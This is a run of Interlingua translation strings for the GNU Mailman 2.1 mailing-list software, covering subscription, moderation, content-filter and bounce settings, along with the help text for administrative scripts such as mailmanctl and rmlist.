Nulle lista appellate:Nulle lista a cercarNulle equalante listas de correspondentia trovateNulle persona pote abonar se al summario de iste lista!Nulle problema trovateNulle ration forniteNulle nomine de runner indicate.Sin subjectoLista "%(listname)s" inexistente
%(e)sNulle tal lista (o lista ja delite): %(listname)sLe lista <em>%(safelistname)s</em> non existeLista inexistente: %(listname)sNulle tal lista: %(listname)s. Removente su archivos residual.Nulle tal membro: %(addr)sMembro inexistente: %(safeuser)s.Nulle adresse valide esseva trovate pro abonar seNulle nomine de variabile valide esseva trovate.Membros (regular) con non-digesto:Preferentias&nbsp;de&nbsp;non-summarioFiltros de non-membrosIl non es permittite a non-membros inviar messages a iste lista.Proprietate non standard reponite: %(k)sNulleNulle - nulle passos de verification (<em>Non
                           recommendate </em>)<br>
                           Confirma (*) - confirmation de e-posta requirite <br>
                           Approbamento requirite - require approbamento del administrator
                           del lista pro abonamentos <br>
                           Confirma e approba - e confirma e approba
                           
                           <p>(*) quando alcuno demanda un abonamento,
                           Mailman le invia un notitia con un numero unic
                           de requesta de abonamento al qual on debe responder pro
                           poter abonar se.<br>

                           Isto impedi personas maleficente (o malitiose)
                           de crear abonamentos pro alteres sin
                           lor accepto.Normalmente, Mailman invia le messages livrate regularmente al
                 servitor de posta in portiones.  Isto es multo plus efficace
                 proque illo reduce le amonta de traffico inter Mailman e
                 le servitor de posta.

                 <p>Certe listas pote totevia beneficiar de un methodo plus
                 personalisate.  In tal caso, Mailman expedi un nove message pro
                 cata membro del lista regular de livramento.  Activante iste
                 possibilitate pote degrader le capacitate de tu sito, assi que tu
                 debe considerar attentivemente, si illo vale le pena,
                 o si il ha altere manieras pro complir lo que tu desira.
                 Tu debe anque studiar le carga de tu systema attentivemente pro assecurar
                 que illo es acceptabile.

                 <p>Selige <em>No</em> pro disactivar personalisation e inviar
                 messages al membros in portiones.  Selige <em>Si</em> pro
                 personalisar livramentos e permitter additional variabiles
                 de substitution in capites e pedes de messages (vide infra).  In
                 addition, per seliger <em>Plen personalisation</em>, le
                 capite <code>A</code> de messages postate essera modificate a
                 includer le adresses del membro in vice del adresse del
                 lista.

                 <p>Quando personalisation es activate, ancora alcun variabiles
                 de expansion que pote esser includite in le <a
                 href="?VARHELP=nondigest/msg_header">capite del message</a> e
                 <a href="?VARHELP=nondigest/msg_footer">pede del message</a>.

                 <p>Iste variabiles additional de substitution essera a disposition
                 pro le capites e pedes, quando iste preferentia es activate:

                 <ul><li><b>user_address</b> - Le adresse del usator,
                         fortiate in minusculas.
                     <li><b>user_delivered_to</b> - Le adresse con majuscula/minuscula
                         conservate como indicate del usator in su abonamento.
                     <li><b>user_password</b> - Le contrasigno del usator.
                     <li><b>user_name</b> - Le plen nomine del usator.
                     <li><b>user_optionsurl</b> - Le adresse al pagina del preferentias
                         del usator.
                 </ul>
                 norvegianoNon un adresse email valide: %(toaddr)sNon authenticateNon removente archivos. Reinvoca per -a pro remover los.Non abonateNota: Pois que isto es un lista de listas de correspondentia,
notas administrative como le rememoration de contrasigno essera inviate
a tu adresse administrative de membrato, %(addr)s.Nota: tu reception del lista es currentemente dishabilitate%(reason)s.Nihil a facer.NotificationesNovnovembreNumero de dies inter auto-responsas a o le lista de
             correspondentia o al adresse de -request/-owner del mesme expeditor.  Scribe
             zero (o negative) pro nulle periodo de termino (i.e. auto-responde a
             cata message).OctoctobreNoDe accordo, le moderator habera ancora le
    opportunitate de approbar o rejectar iste message.SiUn vice cata mense, tu contrasigno te essera inviate como pro memoria.Un de iste actiones es prendite, quando le message corresponde a un del
             regulas del filtro de contento, i.e. le nivello de summitate
             del typo de contento corresponde a un del <a
             href="?VARHELP=contentfilter/filter_mime_types"
             >filter_mime_types</a>, o le nivello de summitate del typo de contento equala
             <strong>not</strong> (forte) a un del
             <a href="?VARHELP=contentfilter/pass_mime_types"
             >pass_mime_types</a>, o si - post filtrar le subpartes del
             message, le message fini per esser vacue.

             <p>Nota: Iste action non es prendite, si post filtrar le message
             ancora ha contento.  In tal caso, le message es sempre
             reinviate al membrato del lista.

             <p>Quando messages es delite, un entrata de registro es scribite
             continente le ID de message del message delite.  Quando
             messages es rejectate o reinviate al possessor del lista, un ration
             pro le rejection es includite in le message de rebattimento al
             autor original.  Quando messages es preservate, illos es conservate in
             un bibliotheca special al disco pro le administrator del sito a
             vider (e possibilemente salvar) ma alteremente delite.  Iste ultime
             option es solmente a disposition si activate per le administrator
             del sito.Lista aperite, gruppo moderateMessage originalAltere activitates administrativePanorama de tote listas in %(hostname)sPID illegibile in: %(pidfile)sCambio de contrasigno falleva.Contrasigno cambiate.Promemoria del contrasignoContrasigno cambiate con successo.Contrasigno:Contrasigno: ContrasignosLe contrasignos non corresponde!Contrasignos non es identic; nulle cambios facite.Contrasignos non pote esser vacueMotivo (como expression regular):Banni permanentemente de iste listaRemove permanentemente le lista <em>%(realname)s</em>Salvante le stato del archivo in Texto purPer favor, *non* invia requestas administrative al lista
de correspondentia.  Si tu desira abonar te, visita %(listurl)s o invia un message con
le parola 'help' (in anglese) al adresse de requesta, %(request)s, pro
instructiones ulterior.Per favor scribe le codice de confirmation
    (i.e. <em>cookie</em>), que tu recipeva in le message de e-posta, in le campo
    infra.  Postea clicca le button <em>Confirma</em> pro proceder al passo
    sequente.Per favor, abbrevia le lista de receptores. Illo es troppo longe.Politicas concernente traffico de lista immediamente livrate.poloneseportugeseportugese (Brasil)Posta per non-membro a un lista de solmente membrosPosta a lista moderateMessage postate cancellateExpeditorMessage suspendite pro approbationExpedition de tu message titulate "%(subject)s"Messages a un moderate gruppo de novasInviar messages a un lista limitate per expeditor require approbamentoMessages de iste non-abonatos essera automaticamente discartate.
             In altere parolas, lor messages essera rejectate sin altere
             operationes o notificationes.  Le mittente non recipera un
             notification o un rebattimento, ma le moderatores del lista
             pote optionalmente
             <a href="?VARHELP=privacy/sender/forward_auto_discards"
             >reciper copias del messages discartate automaticamente</a>.

             <p>Adde un adresse per linea; initia del linea, con le
             charactere ^ pro designar un expression regular.Messages de iste non-abonatos essera automaticamente rejectate.
             In altere parolas, lor messages essera rebattite al mittente
             con un notification de rejection automatic.  Iste option
             non es appropriate pro spammatores cognoscite; lor messages
             deberea esser
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             >discartate automaticamente</a>.

             <p>Adde un adresse per linea; initia del linea, con le
             charactere ^ pro designar un expression regular.Invios de ulle de iste non-membros essera tenite immediatemente
             e automaticamente pro moderation per le moderator(es) del lista.
             Le expeditor recipera un message de notification que le permittera
             cancellar le message tenite.  Adde adresses de membros uno per
             linea; comencia le linea per un signo ^ pro designar un equal regular
             de expression.Messages a:  %(postaddr)sLingua preferite:Prefige le <tt>Subject:</tt> pro messages transportate al gruppo?Prefixo pro linea de subjecto in messages al lista.PreservaPreserva le message pro le administrator del sitoPreserva le messages pro le administrator del sitoMessage precedente:Scripto primari initial e final pro le daemon qrunner de Mailman's qrunner daemon.

Iste scripto initia, stoppa e restarta le 'queue runners' principal de Mailman,
assecurante que le varie qrunners longemente currente functiona e labora. Illo
lo face con un fork e executa le qrunners attendente lor pids.
Detegente que un subprocesso ha exite, illo pote restartar lo.

Le qrunners responde a SIGINT, SIGTERM e SIGHUP. SIGINT e SIGTERM ambes
face le qrunners exir correctemente, ma le master solmente restarta qrunners
que ha exite a causa de un SIGINT. SIGHUP causa le master e le qrunners
clauder lor files de registro e pois reaperir post le proxime message imprimite.

Le master anque responde a SIGINT, SIGTERM e SIGHUP, que illo simplemente
passa al qrunners (nota que le master claude e reaperi su proprie files
de registro al reciper de un SIGHUP). Le master anque lassa su proprie ID de
processo in le file data/master-qrunner.pid ma on normalmente non ha besonio de usar
iste pid directemente. The commandos `start', `stop', `restart' e `reopen' manea
toto.

Usage: %(PROGRAM)s [options] [ start | stop | restart | reopen ]

Optiones:

    -n/--no-restart
        Non restarta le qrunners al exir a causa de un error o un
        SIGINT. Illos non es jammais restartate al exir in responsa a un
        SIGTERM. Usa isto solmente pro solver errores. Solmente utile si le commando
        `start' es usate.

    -u/--run-as-user
        Normalmente, iste scripto refusa currer, si le ID del usator e del gruppo
        non es fixate al usator e gruppo de `mailman' (como definite quando Mailman
        esseva configurate). Si currite como 'root' (radice), iste scripto cambia a
        iste usator e gruppo ante que le examination es facite.

        Isto pote esser inconveniente pro testar e corriger errores, dunque le marca -u
        significa que le passo que fixa e examina le uid/gid es saltate,
        e le programma exequite como le actual usator e gruppo. Iste marca non
        es recommendate pro ambientes normal de production.

        Totevia, nota que si on lo exeque per -u e non es in le gruppo mailman,
        on pote haber problemas de permission, como non poter deler un archivo del
        lista per Internet. Triste!

    -s/--stale-lock-cleanup
        Si mailmanctl trova un existente serra maestral, illo normalmente exi
        con un message de error. Con iste option, mailmanctl exeque un nivello
        extra de examination. Si un processo equalante le host/pid describite
        in le file serrate curre, mailmanctl anque va exir, ma si nulle processo
        equalante es trovate, mailmanctl va remover le serra apparentemente vetule
        e facer un nove essayo de clamar le serra maestral.

    -q/--quiet
        Non imprime messages de stato. Messages de error ancora es imprimite a
        error de standard.

    -h/--help
        Imprime iste message e exi.

Commandos:

    start   - Starta le daemon maestral e tote qrunners. Imprime un message e
              exi, si le daemon maestral ja curre.

    stop    - Stoppa le daemon maestral e tote qrunners. Post stoppar, nulle
              messages ín plus essera processate.

    restart - Restarta le qrunners, ma non le processo maestral. Usa isto
              quando tu va a un nove version o actualisa Mailman assi que le qrunners
              usa le codice recentemente installate.

    reopen  - Isto va clauder tote files de registro, causante les a esser reaperite
              le proxime vice que un message es scribite a illos.
Preferentias de vita privateError Archivo privateError Archivo private - %(msg)sFile del archivo private non trovateProblemas trovate:Listas public de correspondentia a %(hostname)s:Conducite per PythonQuadrimenstralRFC 2369 defini un serie de capites de List-* que es
                 normalmente addite a cata message inviate al lista.
                 Illos adjuta grandemente usatores qui usa lectores de e-posta
                 sequente standards.  Illos debe normalmente sempre esser activate.

                 <p>Totevia, non tote lectores de e-posta seque ancora le standards,
                 e si tu ha un grande numero de membros, qui usa
                 lectores non-standard de e-posta, illes pote esser irritate de iste
                 capites.  Tu debe primo essayar explicar a tu membros
                 proque iste capites existe e como celar los in lor programmas
                 de e-posta.  Como ultime solution, tu pote disactivar iste capites, ma
                 isto non es recommendate (e de facto tu possibilitate de
                 disactivar iste capites pote in fin disparer).Rehabilita le abonamento a lista de correspondentiaRehabilita le abonamentoReaperiente omne files de registrationRation pro le refusaRation:Reciper summarios?Recepite:Filtros del destinatarioFiltros&nbsp;de&nbsp;receptorReduce usage de spatio del disco pro archivos de Pipermail.

Usage: %(PROGRAM)s [options] file ...

Ubi optiones es:
    -h / --help
        Imprime iste message de adjuta e exi.

Usa solmente isto pro 'reparar' files del base a datos con -article del archivo
establite per Mailman 2.1.3 o antea e que ha attributos html_body in se. Iste
attributos pote causar grande amontas de inflation del memoria e haber impacto al
capacitate de listas con alte activitate, specialmente tales ubi textos large es
postate.

Exemplo:

%% ls -1 archives/private/*/database/*-article | xargs %(PROGRAM)s

On debe activar `bin/check_perms -f' post currer iste scripto.

Probabilemente, on vole deler le files -article.bak create per iste scripto,
quando on es satisfacite con le resultato.

Iste scripto es providite pro scopos de convenientia solmente. Illo non es supportate.
Regenera aliases specific de Mailman del fundo.

Le resultato depende del valor del variabile `MTA' in tu file mm_cfg.py


Usage: genaliases [options]
Optiones:

    -q/--quiet
        Certe resultatos MTA pote includer textos de adjuta plus verbose. Usa isto pro
        minimar le verbositate.

    -h/--help
        Imprime iste message and exi.
Regexp:RegularRejectaRejectaRecargante le stato del archivoPromemoriaRemove attachamentos de message que non ha un correspondente
             typo de contento.  Lassa iste quadro blanc pro non activar le test de iste
             filtro.Remove attachamentos de message attachments que non ha un correspondente
             extension del nomine del file.  Lassa iste quadro blanc pro non activar iste test
             del filtro.Remove attachamentos de message que ha un correspondente extension del
             nomine del file.Remove componentes de un lista de correspondentia per impunitate - attention!

Isto remove (quasi) omne tracias de un lista. Como standard, le archivos del
listas non es removite, lo que es multo practic pro pensionar listas ancian.

Usage:
    rmlist [-a] [-h] listname

Ubi:
    --archives
    -a
        Remove anque le archivos del lista, o si le lista ha ja essite delite,
        remove ulle archivo residual.

    --help
    -h
        Imprime iste message de adjuta e exi.

Removente %(msg)sRequesta al lista de correspondentia %(realname)s rejectateLe thema non es valide: %(topicname)sDemanda approbamentoRefixa le contrasignos de membros de un lista de correspondentia.

Iste scripto refixa omne contrasignos de membros de un lista. Illo pote anque
esser usate pro refixar le listas de omne membros de omne listas, ma es tu
responsibilitate facer le usatores saper que lor contrasignos ha essite cambiate.

Iste scripto es intendite esser activate como un scripto bin/withlist, i.e.

% bin/withlist -l -r reset_pw listname [options]

Optiones:
    -v / --verbose
        Imprime lo que le scripto face.Restartante le qrunner maestral de MailmanPresenta le resultato generate.Retorna al romanianoCurre iste programma como radice o como le usator %(name)s, o usa -u.russoSabSalvante le listaRemove attachamentos de message livrate regularmente?Cerca...SecundeSelige le pagina a editar:Invia le message "lista create" al proprietario del lista?Expedi messages de a revider a membros, quando illes se disabona?Expedi message al expeditor, quando un message es mantenite pro approbamento?Invia rememoration del contrasigno cata mense?Invia notificationes de nove abonatos al proprietario del lista?Invia notificationes al proprietario del lista?Invia rememoration de contrasigno a p.ex. le adresse del "-owner" in vice de
             directemente al usator.Accusar reception de disabonamento al usator?Expedi message de benvenita al nove abonatos?Invia messages de benvenita al nove abonatos?Le expeditor discartava le message via web.Le expeditor es explicitemente prohibiteFiltros&nbsp;de&nbsp;expeditorSepseptembreserboTempore localActiveFixa le contrasigno al sito, de parte del terminal.

Le contrasigno del sito pote esser usate in le majoritate si non omne locos que
le contrasigno del administrator del lista functiona; illo pote esser usate in le
majoritate de casos que contrasignos del usatores de un lista functiona.

Usage: %(PROGRAM)s [options] [password]

Optiones:

    -c/--listcreator
        Fixa le contrasigno del creator del lista in vice del contrasigno del sito.
        Le creator del lista pote crear e remover listas ma non ha le poter total
        del administrator del sito.

    -h/--help
        Imprime iste message de adjuta e exi.

Si un contrasigno non es date in le linea de commando, illo va esser demandate.
Fixa isto a Si, quando le lista es intendite a reinviar
             solmente a altere listaas.  Quando fixate, notitias de meta como
             confirmationes e rememorationes de contrasignos essera inviate a un
             adresse derivate del adresse del membro - illo habera le
             valor de "umbrella_member_suffix" appendite al nomine
             del conto del membro.Acceptante iste preferentia face adresses de e-posta de membros
             esser transformate quando presentate in paginas de Internet del lista (e in
             texto e como ligamines), assi que illos non es trivialmente recognoscibile
             como adresses de e-posta.  Le intention es prevenir que le adresses
             es colligite per scannatores automatisate de Internet pro
             uso de spammatores.Activante iste option instrue Mailman a comenciar un nove volumine
             con le sequente summario a expedir.Debe Mailman converter partes de <tt>text/html</tt> a texto
             pur?  Iste conversion occurre post que attachamentos de MIME ha essite
             removite.Debe Mailman filtrar le contento del traffico al lista secundo
             le definitiones infra?Debe Mailman informar te, le possessor del lista, quando rebattimentos
             resulta in le disabonamento de un membro?Debe Mailman informar te, le possessor del lista, quando rebattimentos
             causa le disactivation del abonamento de un membro?Debe Mailman facer un <em>controlo</em> del gruppo de novas?Debe Mailman executar processamento automatic de rebattimento?Debe Mailman personalisar cata livramento non-summarisate?
                 Isto es sovente utile pro listas de annuncia-solmente, ma <a
                 href="?VARHELP=nondigest/personalize">lege le detalios</a>
                 section pro un discussion de themas importante de
                 capacitate.Debe Mailman inviar un auto-responsa a messages inviate al
             adresse del possessor (-owner)?Debe Mailman inviar un auto-responsa a messages inviate al
             adresse de -request?  Si tu selige si, decide si tu desira
             que Mailman dele le message original o re-inviar lo al
             systema como un commando normal de messages.Debe Mailman inviar un auto-responsa al lista de correspondentia
             expeditores?Debe Mailman inviar le sequente summario immediatemente, si illo non
             es vacue?Debe Mailman inviar te, le possessor del lista, ulle messages de rebattimento
             que falleva esser detegite per le processamento de rebattimento?  <em>Si</em>
             es recommendate.Debe Mailman comenciar un nove volumine de summario?Debe un summario esser expedite quotidianmente, si le limite de grandor non es attingite?Debe le administrator reciper notitias de personas qui
             se abona o se disabona?Debe ulle existente capite <tt>Reply-To:</tt> trovate in le
             message original esser removite?  In tal caso, illo essera facite
             independente de si un capite explicite <tt>Reply-To:</tt> es
             addite per Mailman o non.Le messages del non-abonatos, que es automaticamente
             discartate, debe esser reinviate al moderator?Debe messages de iste lista de correspondentia includer le
                 <a href="http://www.faqs.org/rfcs/rfc2369.html">RFC 2369</a>
                 (i.e. capites del <tt>List-*</tt>)  <em>Si</em> es altemente
                 recommendate.Debe nove membros star in quarantena ante haber permission
    de postage al lista sin moderation?  Responde <em>Si</em> pro tener
    normalmente le messages del nome membros sub moderation.Debe messages inviate al lista apparer etiam in le
             gruppo de novas?Debe messages inviate al gruppo de novas apparer etiam
             in le lista?Debe messages includer le capite <tt>List-Post:</tt>?Debe le moderatores del lista reciper immediatemente notitia de
             nove requestas e notitias quotidian de requestas colligite?Le filtro de themas debe esser habilitate o dishabilitate?Monstra adresses de membros, assi que illos non es directemente
             recognoscibile como adresses de e-posta?Monstra le contento de un o plure files de caudas de Mailman.

Usage: show_qfiles [options] qfile ...

Optiones:

    -q / --quiet
        Non imprime delimitatores 'utile' de messages.

    -h / --help
        Imprime iste texto e exi.

Exemplo: show_qfiles qfiles/shunt/*.pck
Claudente le qrunner maestral de MailmanLista del sito manca: %(sitelistname)sDimension:Contento omittite del typo %(partctype)s
slovenoAlcun error incognite occurreva durante le creation del lista.
                Per favor contacta le administrator del sito pro assistentia.Expression regular anti-spam:Regula anti-spam %(i)dFiltros&nbsp;anti-spamespaniol (Espania)Vetere file pid removite.Startante le qrunner maestral de Mailman.Subjecto:ConfirmaConfirma tote le datosConfirma le cambiamentosConfirma mi cambiosConfirma tu cambiosAbonaPagina del resultatos del abonamentoAbona iste usatores nunc o invita los?Abona me al lista %(listname)sAbonate: %(member)sAbonar seRequestas de abonamentoRequesta de subscriptionRequesta de abonamento confirmateRequesta de abonamento succedite.Regulas&nbsp;de&nbsp;abonamentoRemovite con successo:Disabonate con successo:Invitate con successo:Abonate con successo:Suffixo pro uso, quando le lista es un parapluvia pro altere
             listas, sequente le preferentia de previe preferentias de
             "umbrella_list".DomsvedeseError de systema, contento improprie: %(content)sControla requestas administrative pendenteTexto appendite al pede de cata message livrate
             immediatemente. Texto attachate (como un message final) al fin de summarios.Texto attachate (como message initial ante le tabula de contento) al capite del summarios.Texto appendite in le summitate de cata message livrate
             immediatemente. Texto inviate a personas qui abandona le lista.  Si vacue, nulle texto
             special essera addite al message de disabonamento.Texto a includer in ulle
             <a href="?VARHELP/privacy/sender/member_moderation_action"
             >notitia de rejection</a>
             inviate a membros moderate qui scribe al lista.Texto a includer in omne notification de rejection inviate
             al non-abonatos qui scribe al lista. Iste texto pote includer
             le adresse del proprietario del lista con %%(listowner)s e
             substitue le texto del message standard.Texto%(sz)sLe "host_name" es le nomine preferite de e-posta a
             adresses relatate a Mailman in iste hospite e debe in general esser
             le adresse de excambio del hospite, si illo existe.  Iste preferentia pote esser
             utile proseliger inter nomines alternative de un hospite que ha
             adresses multiple.Le <em>administratores del lista</em> es illes qui ha le maxime controlo super
tote parametros del lista.  Illes pote cambiar qualcunque variabile de configuration
disponibile per iste paginas de administration.

<p>Le <em>moderatores del lista</em> ha permissiones plus limitate; illes
non pote cambiar variables de configuration, ma illes pote controlar requestas
pendente de administration, includente approbar or rejectar requestas de
abonamento suspendite, e discartar messages suspendite.  Certemente, le
<em>administratores del lista</em> etiam pote controlar requestas pendente.

<p>Pro divider le deberes del lista inter administratores e moderatores,
tu debe poner un contrasigno differente in le campos infra,
etiam scriber le adresses de e-posta del moderatores del lista in le
<a href="%(adminurl)s/general">section del optiones general</a>.Le capite <tt>List-Post:</tt> es un del capites
             recommendate per
             <a href="http://www.faqs.org/rfcs/rfc2369.html">RFC 2369</a>.
             Pro certe listas de correspondentia de <em>announce-only</em>, solmente un
             gruppo multo seligite de personas es permittite inviar posta al lista; le
             membrato general es normalmente non permittite a scriber.  Pro listas de
             iste natura le capite <tt>List-Post:</tt> es erronee.
             Selige <em>No</em> pro disactivar le inclusion de iste capite. (Isto
             non ha effecto al inclusion del altere capites <tt>List-*:</tt>.)
            Le robot de responder de MailmanLe septimana de lunedi %(day)i %(month)s %(year)iLe commando 'join' (in anglese) es synonyme con 'subscribe'.Le commando 'leave' (in anglese) es synonyme a 'unsubscribe'.Le commando 'remove' (in anglese) es synonyme con 'unsubscribe'.Le adresse que require esser cambiate ha essite
                    disabonate posteriormente.  Iste requesta ha essite
                    cancellate.Le adresse que require le disabonamento non es
                un membro del lista.  Forsan tu ja ha essite disabonate,
                per exemplo per le administrator del lista?Le message attachate ha essite delite automaticamente.Le message attachate equalava al regulas del filtro de contento del lista de correspondentia %(listname)s
e esseva prevenite de esser expedite al membros del lista.  Tu
recipe le sol copia remanente del message delite.
Le message attachate esseva recipite como un rebattimento, ma le formato de rebattimento
o non esseva recognoscite, o nulle adresses de membros poteva esser extrahite de illo.  Iste
lista de correspondentia ha essite configurate pro expedir tote messages irrecognoscibile de rebattimento al
administrator(es) del lista.

Pro plus de information, consulta:
%(adminurl)s

Scriber le nomine in majusculas pote esser cambiate pro facer lo
             presentabile in compania polite como un nomine o pro facer un
             parte acronyme in maiusculas, etc.  Totevia, le nomine essera
             usate como le adresse de e-posta (i.e. in le notitias de confirmation del
             abonamento), dunque illo <em>non</em> debe esser cambiate alteremente.  (Adresses
             de e-posta non es sensibile al capitalisation, ma illos es sensitive a
             quasi tote altere cosas :-)Le message de confirmation ha essite inviate.Le archivo currenteLe adresse email que tu forniva es bannite de iste
        lista.  Si tu crede que iste restriction es erronee,
        contacta le proprietarios del lista a %(listowner)s.Le adresse de e-posta que tu scribeva, es prohibite del lista de correspondentia.
Si tu crede que iste restriction es erronee, per favor, contacta le possessor(es) del
lista a %(listowner)s.Le adresse email que tu forniva non es valide. (p.e. illo debe continer un
`@'.)Le sequente variabiles de substitution illegal esseva
                trovate in le <code>%(property)s</code>:
                <code>%(bad)s</code>
                <p>Tu lista forsan non functiona correctemente usque tu corrige iste
                problema.Le patrono del filtro del capite
                '%(safepattern)s' non es un legal expression regular.  Iste
                regula essera ignorate.Le message suspendite con subjecto:
            <em>%(subject)s</em> non poteva esser trovate.  Multo
            probabilemente le moderator del lista ja ha approbate o
            rejectate le message.  Tu non ha essite capace de cancellar
            lo a tempore.Le message suspendite al qual tu esseva dirigite
        ja ha essite tractate per le administrator del lista.Le hostname del machina que contine le servitor de novas.Le adresses de e-posta del administrator del lista.  Multiple
             adresses de administrator, cata uno a su linea separate, es in ordine.Le administrator del lista ha dishabilitate le livration con summarios
            pro iste lista, ergo tu selection non es activate.  Ma comocunque
            tote tu altere optiones ha essite activate con successo.Le administrator del lista ha dishabilitate le livration sin summarios
            pro iste lista, ergo tu selection non es activate.  Ma comocunque
            tote tu altere optiones ha essite activate con successo.Adresses de e-posta del moderator del lista.  Multiple
             adresses de moderator, cata a su linea separate, es in ordine.Le contrasigno del lista non pote esser vacueLe contrasigno del lista non pote esser vacue<!-- ignore -->Le lista de correspondentia `%(listname)s' ha essite create per le interfacie
via le Internet.  A fin de completar le activation de iste lista de correspondentia,
le file del correcte /etc/aliases (o equivalente) debe esser revidite.  Le programma
`newaliases' forsan anque debe esser exequite.

Ci es le entratas pro le file /etc/aliases:
Le lista de correspondentia `%(listname)s' ha essite removite via le interfacie
via Internet.  A fin de completar le deactivation de iste lista de correspondentia,
le correcte file /etc/aliases (o equivalente) debe esser revidite.  Le programma
`newaliases' forsan anque debe esser executate.

Ci es le entratas in le file /etc/aliases file que debe esser removite:
Le serra maestral de qrunner non es attingibile, proque il pare como si un
altere qrunner maestral ja curre.
Le serra maestral de qrunner non pote esser acquirite. Il appare como si un
processo in un altere hospite pote haber acquirite lo. Nos non pote testar pro serra
vetere a transverso de hospites, tu debe facer isto manualmente. O, si tu sape que
le serra es vetere, recurre mailmanctl con le marca -s.

File de serra: %(LOCKFILE)s
Hospite de serra: %(status)s

Exiente.Le serra maestral de qrunner non es attingibile. Il pare como si il ha
un vetere serra maestral de qrunner. Essaya re-exequer mailmanctl con le marca -s.
Le punctos maximal de rebattimento ante que le abonamento
             del membro es disactivate.  Iste valor pote esser un numero fluente
             de punctos.Le capites del message equalava a un regula de filtroLe typo de contento del message esseva explicitemente prohibiteLe typo de contento del message non esseva explicitemente permittiteLe extension de file del message esseva explicitemente prohibiteLe extension de file del message non esseva explicitemente permittitePolitica de moderation del gruppo de novas.Le nomine del gruppo Usenet a colligar per le ponte.Le nove adresse jam es un membro: %(newaddr)sLe nove adresse %(newaddr)s que tu requireva jam es un membro del lista
%(listname)s, ma comocunque tu mesmo requireva un cambio global del adresse.
Post tu confirmation, tote altere listas continente le adresse
%(safeuser)s essera cambiate. Le sequente summario essera inviate como volumine
            %(volume)s, numero %(number)sLe numero de dies post le qual information de rebattimento de un membro
             es delite, si nulle nove rebattimentos ha essite recipite in le
             interim.  Iste valor debe esser un integre.Le numero de dies inter inviar le admonition <em>Tu membrato
             es disactivate</em>.  Iste valor debe esser un integre.Le nomine public del lista (face solmente cambios de capitalisation).Le resultatos de tu commanda de e-posta es providite in basso.
Attachate es tu message original.
Le resultatos de tu commandos per e-postaLe lista del abonatosIste texto essera tractate como HTML <em>excepte</em> que
             nove lineas essera traducite in &lt;BR&gt; - dunque tu pote usar ligamines,
             texto preformatate etc., ma non insere nove lineas excepte
             quando tu vole separar paragraphos.  E revide tu cambios -
             mal HTML (como certe constructiones HTML non-finite) pote significar
             que tote le pagina del information del lista non es monstrate.Le filtro de themas categorisa cata message entrante in
             base a <a
            href="http://docs.python.org/library/re.html">filtros
             con expressiones regular</a> que tu scribe infra.  Si le capite
             <code>Subject:</code> o <code>Keywords:</code> del message
             corresponde a un filtro, le message es placiate logicamente in
             un <em>situla</em> thematic.  Omne abonato pote inde seliger de
             reciper solmente messages del lista pertinente a un particular
             situla thematic (o plure de illos).  Tote messages que non pote
             esser categorisate in ulle situla non essera inviate al lista.

             <p>Nota que iste characteristica functiona solo con livration
             in modo normal, non summarisate.

             <p>Etiam in le corpore del message pote esser optionalmente
             cercate capites <code>Subject:</code> e <code>Keywords:</code>,
             como specificate in le variabile de configuration <a
       href="?VARHELP=topics/topics_bodylines_limit">topics_bodylines_limit</a>.Le correspondentias de themas essera cercate in iste numero
             de lineas del message.  Le recerca se stoppa quando iste numero
             de lineas ha essite attingite, o on incontra un linea differente
             de un capite.  Si on pone isto a zero, nulle linea del corpore
             essera probate (i.e. on probara solmente le capites
             <code>Keywords:</code> e <code>Subject:</code>).  Si on pone
             iste valor a un numero negative, alora tote le corpore essera
             probate usque al prime linea que non es in formato de capite.
             Le patrono de thema '%(safepattern)s' non es un
                expression regular legal.  Illo essera discartate.Il non ha requestas pendente.Il ha duo rolos de possessor associate a cata lista
             de correspondentia.  Le <em>administratores del lista</em> ha le
             controlo ultimate de tote parametros de iste lista de correspondentia.  Illes
             pote cambiar tote variabiles de configuration a disposition
             per iste paginas de administration de Internet.

             <p>Le <em>moderatores del lista</em> ha permissiones plus limitate;
             illes non pote cambiar ulle variabile de configuration del lista, ma
             illes pote tractar requestas administrative pendente,
             inclusive approbar o rejectar requestas de abonamento, e
             deler messages stoppate.  Naturalmente le <em>administratores
             del lista</em> anque pote tractar requestas pendente.

             <p>A fin de dividier le cargas del possessores del lista in
             administratores e moderatores tu debe
             <a href="passwords">establir un separate contrasigno de moderator</a>,
             e anque provider le adresses de <a href="?VARHELP=general/moderator">e-posta
             del moderatores del lista</a>.  Nota que le quadro que tu
             cambia ci specifica le administratores del lista.Il ha duo rolos de possessores associate con cata lista de
             correspondentia.  Le <em>administratores del lista</em> ha le
             controlo ultimate de tote parametros de iste lista de correspondentia.  Illes
             pote cambiar ulle variabile de configuration a disposition
             per iste paginas administrative de Internet.

             <p>Le <em>moderatores del lista</em> ha permissiones plus limitate;
             illes non pote cambiar ulle variabile de configuration, ma
             illes pote tractar requestas administrative pendente,
             inclusive approbar o rejectar requestas de abonamento arrestate
             e disponer de messages arrestate.  Naturalmente le <em>administratores
             del lista</em> pote anque tractar requestas pendente.

             <p>A fin de divider le cargas del possessores del lista in
             administratores e moderatores tu debe
             <a href="passwords">establir un separate contrasigno de moderator</a>,
             a anque provider le adresses de e-posta del listatores del lista
             in iste section.  Nota que le quadro que tu cambia ci
             specifica le moderatores del lista.Il habeva nulle summario a inviar.Il habeva problemas in le elimination del lista
        <b>%(listname)s</b>.  Contacta le administrator del sito a %(sitelist)s
        pro detalios.Iste politicas controla le systema de rebattimento automatic
            in Mailman.  Ci es un supervista de como illo functiona.

            <p>Quando un rebattimento es recipite, Mailman cerca extraher duo pecias
            de information del message: le adresse del membro a qui
            le message esseva intendite, e le severitate del problema causante
            le rebattimento.  Le severitate pote esser o <em>dur</em> o
            <em>molle</em> significante o que un error fatal ha occurrite, o que un
            error transiente ha occurrite.  Si in dubita, un severitate dur es usate.

            <p>Si nulle adresse de membro pote esser extrahite del rebattimento, alora
            le rebattimento es normalmente delite.  In altere caso, cata membro es assignate un puncto
            <em>de rebattimento</em> e cata vice que nos incontra un rebattimento de
            iste membro, nos incrementa le punctos.  Rebattimentos dur incrementa per 1
            durante que rebattimentos molle incrementa per 0,5.  Nos solmente incrementa le punctos del
            rebattimento un vice per die, dunque mesmo si nos recipe dece rebattimentos dur de un
            membroper die, lor punctos va augmentar per solmente 1 pro iste die.

            <p>Si le punctos de rebattimento de un membro es plus grande que le
            <a href="?VARHELP=bounce/bounce_score_threshold">limite del puncto de 
            rebattimento</a>, le abonamento es cancellate.  Si disactivate, le
            membro non recipera ulle messages del lista usque
            le membrato es explicitemente re-activate (o per le administrator
            del lista o per le usator).  Totevia, illes va reciper rememorationes
            occasional que lor membrato ha essite disactivate, e iste
            rememorationes va includer information de como re-activar lor
